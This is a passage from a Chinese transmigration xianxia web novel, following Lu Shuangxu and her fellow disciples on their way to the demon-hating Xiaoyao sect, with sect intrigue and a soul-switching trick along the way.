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取而代之的是沈寂川熟悉的那个江拂雪,温柔,良善,眉目间永远带着三分笑意。 “师兄,师妹要带她的两位弟子去逍遥门,我不同意,她便以死相逼。若不然,就应了她吧。” 她的声音柔得像三月的春风,还带着一丝恰到好处的无奈。 沈寂川的目光在几人之间来回扫了好几遍。 他是接到了陆霜序的求救信号才来的,可是现在是什么情况? 然后他听见了江拂雪说的那番话。 去逍遥门? “月魄还好说,可是殷焕生……” 逍遥门厌恶妖族,厌恶半妖。 门规第一条便是“遇妖则斩”,千百年来从未有过例外。 殷焕生即便去了,一定会尸骨无存。 江拂雪的声音又响起来,温柔而坚定:“没关系的,我会保护好大家。我不想看到师妹死。” 陆霜序眨了眨眼。 她立刻拔出飞霜剑,架在了自己的脖子上。 动作之快,姿态之决绝,仿佛只要沈寂川说一个“不”字,她就会立刻抹了脖子。 沈寂川的眉头拧成了一团。 他看看江拂雪,又看看陆霜序,最后长叹了一声。 “拂雪,我知道你为难,我随你去和宗主说吧。” “好。” 江拂雪应了一声。 在沈寂川看不到的阴影里,她狠狠地瞪向陆霜序。恨不得推一把飞霜剑,替她结果了这个祸害。 陆霜序自然看到了江拂雪的目光,但她迎着那道目光,不闪不避。 做了个鬼脸。 21. 这有脏东西 一场不算愉快的交谈过后,事情到底还是尘埃落定了。 常衡发了好大的怒,苍穹殿都被震塌了一半。 江拂雪受了罚,十二鞭烈风鞭打在身上,青衣瞬时成了血衣。要不是沈寂川在场拦着,人怕是连站都站不起来了。 但最终,陆霜序的愿望达成了,准确地说,是殷焕生的愿望达成了。 万剑宗向逍遥门发出了通讯,告知了万剑宗前往逍遥门的弟子,随后也不管逍遥门的回话是什么,要求人即刻出发。 再然后,就是原本摩拳擦掌打算去逍遥门的仙尊和弟子在得知队伍同行的人都有谁后,前往逍遥门的人就成了五人。 江拂雪,沈寂川,殷焕生,陆霜序以及月魄。 出发那日,天色将明未明,山间的雾气还没有散尽。 江拂雪站在山口,背对着那片金色的晨光,面容隐在阴影里。 她看着陆霜序走过来,嘴角是弯着的,可那双眼睛里的笑意却让陆霜序后背一凉。 陆霜序咽了口口水,这谪仙般的仙子此刻像个随时会扑上来吃小孩的精怪。 不过,是她对不起江拂雪,害人受了罚。 虽然江拂雪现在看着正常,但她听说了昨日的惨烈,知道这人一定疼得发紧。 她头一次有了愧疚之心,捧着手里的珠子,献宝一样送到江拂雪面前。 江拂雪愣住了。 月魄珠的光泽如月,散发着点点光芒。 但没人比她更清楚着月魄珠,这珠子里被她下了毒,而且用计送到了陆霜序身边,就等着陆霜序吸收这珠子后悄无声息死去。 可是为什么,陆霜序把月魄珠送回来了? 她是发现什么了吗? 陆霜序自然不知道江拂雪在想什么,她说:“师姐,是我不好让你受罚,这珠子给你赔罪了。” 这月魄珠本来她是还给殷焕生的,可是殷焕生暴殄天物,根本不用。而且他的身体被她养回来了,也不用不到这东西。 所以身为月魄的她,在给殷焕生养伤的时候,本着不浪费的原则,又将月魄珠给悄悄拿了回来。 送给重伤的江拂雪,借花献佛,也算不浪费了。 只是陆霜序不明白,江拂雪看她的表情为什么更加不对劲了? 她不由得后背发凉。 现在的情况,本书女主恨不得对她处置而后快,本书反派也时刻想着怎么弄死她。 为了活命,她决定去抱男主大腿。 沈寂川本来就是好脾气的人,即便经过了陆霜序强迫他,给他下春药等等一系列事,再见陆霜序,还是一副好好师兄的模样。 他语重心长地说:“师妹,我听拂雪说了你的想法。虽然人妖共存的理念大家都不理解,但我觉得很好,师兄会帮你的。” 陆霜序听到这话都快感到地哭出来了。 “师兄,那你可一定要保护好我啊。” “当然,只要你师妹真的改变,我当然会相信你,保护你。” 陆霜序感动地稀里哗啦。 看书的时候,读者总会对爽文女主江拂雪和病娇反派殷焕生感兴趣,对待圣父一般的沈寂川批评居多。 但现实里,谁不想离着那俩妖魔鬼怪远点,抱紧沈寂川这个大大滴的好人。 原主就是用错了方法,强上什么的只会引起沈寂川的反感,她就该用怀柔的方法,给沈寂川下个不和她那啥,她就会死的药。 沈寂川保准同意。 然后她就对沈寂川提出了第一个要求,她要坐马车去逍遥门。 从万剑宗到逍遥门,路途遥遥数千里。御剑飞行不现实,众人只能骑马赶路。 为了能人让陆霜序和月魄同时存在,陆霜序把哭唧唧的系统压榨到了极致。 系统加一层障眼法,让谁也看不出她变换的月魄有破绽,同时系统动用权限仿照月魄的模样,造一个灵体。 当陆霜序需要以月魄的身份出现时,系统便将她本体的意识抽离出来,注入月魄的身体里,而陆霜序的本体则陷入一种近似沉睡的状态。 当陆霜序需要回到自己身体里时,便将意识抽回,而月魄的身体则维持着一个灵体在支撑,表面上看像是昏迷了过去。 这法子说起来简单,做起来却让陆霜序吃尽了苦头。 灵魂在两具身体之间来回切换的感觉,就像是被人生生从一副躯壳里拽出来又塞进另一副躯壳里。 每一次切换,她都要花上一刻钟的时间来适应,头晕目眩是常事,严重的时候甚至会觉得手脚都不是自己的。 虽然随着次数多起来,她倒是能熟悉些,但那个灵体终究不是真正的血肉之躯,有露馅的可能。 不过这已经是能想到的最好的办法了。 所以她为了进一步减少被发现的可能,要求必须坐马车,还必须要月魄进来伺候她,这样两个人在一起,也就能减少暴露的可能。 沈寂川倒是没有反对陆霜序要做马车的想法,顺带还好心地问了其他人的想法。 江拂雪不知道在想什么,径直骑着马走了。 而殷焕生自然也不喜欢搭理人,同样骑着马走了。 这一路走走停停,日头从东边挪到西边,天色渐渐暗了下来。 她们到了个能歇脚的地方,小镇名唤浮云。 虽不大,却因为水路发达,经商游玩的人多而格外热闹。 街道两旁挂着各式各样的灯笼,夜幕将领后,红红黄黄映着来来往往的行人。 街上随处可见佩剑的修仙者,有的穿着门派统一的服饰,有的则是散修打扮,三五成群地聚在一起说话,言语间不时冒出“逍遥门”“盟主”之类的字眼。 江拂雪选了镇上最大的客栈。 那客栈有三层高,飞檐翘角,门前挂着两串大红灯笼,牌匾写着“天上云”三字,笔力遒劲。 门口两侧,一面写着“客似云来”,一面写着“宾至如归”。 马车在客栈门前停下。 车帘掀开的一瞬间,所有人的目光都被吸引了过去。 实在是陆霜序这副打扮太过古怪,她头戴一顶宽大的斗笠,斗笠边缘垂下层层叠叠的白色面纱,将她从头到肩膀遮了个严严实实,连一根头发丝都看不见。 而且面纱的料子很厚,风吹过来的时候只是微微晃动,根本掀不起来。 月魄从车厢里钻出来,伸出一双细细的手臂,将这位遮得密不透风的人打横抱了起来。稳稳当当地下了马车,一步一步走进了客栈。 江拂雪骑在马上,看着这一幕,握着缰绳的手指微微收紧。 沈寂川则觉得这样使唤徒弟不好,想去帮忙却被拒绝。 客栈里头热闹得很。 大堂里摆了十几张桌子,几乎坐满了人。 跑堂的小二端着茶壶酒菜在桌椅之间穿梭。 在座的客人十有八九都是修仙者,腰间佩剑,桌上放着各门各派的令牌。 看到客栈进来个古怪的人,自然被吸引去了目光。 窃窃私语声像潮水一样漫了上来。 “万剑宗的人。” “那个被抱着的是谁?怎么遮成这样?” “听说万剑宗这次要带一个半妖去逍遥门,不知道是哪一个。” “半妖?去逍遥门?这不是找死吗 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殷焕生皮肤上的妖纹和眼睛的妖瞳亮了起来,在黑夜里比之一切火树银花都要绚烂夺目。 在场的修仙者皱起眉头,几个年轻些的弟子甚至已经面露厌恶,像是看到了什么脏东西。 他们想要拔剑,可是殷焕生腰间万剑宗的令牌让他们犹豫了。 殷焕生对这些目光视若无睹,他甚至挑衅地微微弯了弯嘴角,然后不紧不慢地上了楼。 夜半三分,月上柳梢头。 浮云镇的夜才算开始,四处灯火通明,划拳声,碗盏碰撞声,醉酒后的笑骂声混成一片色。 陆霜序换了月魄的装扮,一袭藕粉色衣裙。 她猫着腰,蹑手蹑脚地摸到殷焕生的房门前。 门没锁。 她轻轻推开一条缝,闪身进去,又迅速合上。 房间里没有点灯,只有桌上一盏孤烛。 殷焕生也没睡,他坐在桌边,半张脸藏在阴影里,另半张被烛光映得忽明忽暗。 他正低着头,专注地看着什么。 陆霜序蹑步走近,探头一看,是一条小青蛇。 通体碧绿,鳞片在烛火下泛着幽冷的光,只有小指粗细,盘成一个小圈,乖乖地伏在他掌心,拿头蹭殷焕生的掌心。 陆霜序盯着那小青蛇,心里忽然一紧。 殷焕生的妖体是蛇,所以他驱使的妖物也多是蛇类。这青蛇看着乖巧,怕是又要替他做什么见不得人的勾当。 她正想着,殷焕生忽然抬起头来。 他看着陆霜序,没有惊讶,只是淡淡地说了句:“你来的倒是早。” 陆霜序一愣,目光落在那条小青蛇身上,越看越觉得……困。 那蛇的眼睛像两颗绿色的宝石,幽幽地亮着,她盯着盯着,眼皮就开始发沉,脑子里像灌了浆糊,意识一点一点往下坠。 陆霜序瞬间意识到了这小蛇不能看,猛地用指甲掐进掌心,才勉强驱散那股困意。 她定了定神,挤出一个笑来:“巧什么?” 殷焕生低头看着小青蛇,嘴角微微上扬,那笑意却不达眼底。 “这里有脏东西。” 陆霜序瞬间睡意全无,一脸认真地反驳:“师兄,即便别人都说你是脏东西,你也不能自暴自弃,也说自己是脏东西啊!” 殷焕生:…… 烛火跳了跳,他的表情有一瞬间的凝固,不知道是被气的,还是因为别的什么。 小青蛇似乎察觉到了主人的情绪,吐了吐信子,随后露出了獠牙。